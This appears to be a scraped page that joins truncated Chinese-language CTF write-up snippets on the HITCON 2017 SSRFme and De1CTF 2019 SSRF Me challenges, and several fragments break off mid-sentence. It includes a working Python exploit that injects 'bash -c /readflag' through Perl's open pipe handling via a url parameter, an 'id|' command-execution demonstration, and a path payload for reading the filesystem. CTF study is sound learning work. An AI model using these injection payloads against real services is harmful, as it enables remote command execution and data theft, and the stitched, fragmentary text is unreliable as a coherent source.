requests.get(target+"/?url=file:|bash -c /readflag&filename=1")print(requests.get(target+"/sandbox/230317844a87b41e353b096d0d6a5145/1").text) 1.4得到flag 3.借鉴
通过分析源码,他返回了我自己的ip然后又与orange进行拼接形成一个新的ip,并且进行md5加密,之后调用GET来执行从url中获取到的参数,然后把GET获取到的结果写入到filename中我们新建的文件中。 然后这里最重要的解题思路就是GET命令执行漏洞。 在perl中的open函数可以执行命令,而perl里面的get函数底层就是调用了open处理,...
[HITCON 2017]SSRFme 1 学到了perl的open中的命令执行漏洞,参考了这篇博客大佬一的博客和这篇大佬二的博客 open漏洞 在perl语言中,open函数存在命令执行漏洞:如果open文件名中存在管道符(也叫或符号|),就会将文件名直接以命令的形式执行,然后将命令的结果存到与命令同名的文件中。本题中调用了GET函数,而GET函数...
刷题[HITCON2017]SSRFme [HITCON 2017]SSRFme ⽬录 前置知识 open函数中存在命令执⾏ 意思如下:open(F,"id|"); print <F>; //vi test.pl uid=0(root) gid=0(root) groups=0(root) //perl test.pl 管道符⼀定要加,在payload前还是后视情况⽽定 perl中的GET函数底层即会调⽤open处理...
记一次代码审计[De1CTF2019]SSRFMe 记⼀次代码审计[De1CTF2019]SSRFMe [De1CTF 2019]SSRF Me 第⼀次审计这么长的代码,很值得记录⼀下 以下是审计过程中的⼀些笔记
route('/De1ta',methods=['GET','POST'])#这个路由是我萌得最终注入点 def challenge(): action = urllib.unquote(request.cookies.get("action")) param = urllib.unquote(request.args.get("param", "")) sign = urllib.unquote(request.cookies.get("sign")) ip = request.remote_addr if(waf(...
payload ="?url={}&filename=data"see = 'sandbox/8691d1e19ffb25eb708c66f165c8283c/data' r = requests.get(url = url+payload.format(exp))#先执行命令,写入data中r = requests.get(url+see)#读取data文件print(r.text) <HTML><HEAD><TITLE>Directory ../../../../../</TITLE><BASEHRE...
解法1 先得出自己的md5(orange+ip)数值 访问sandbox/内的自己路径 Forbidden,而不是not found url传入/,escapeshellarg将其转为cd / filename传入随便的一个名字123456 payload:?url=/&filename=123456 啊..很成功🎉️ 看到了一个flag 尝试去读它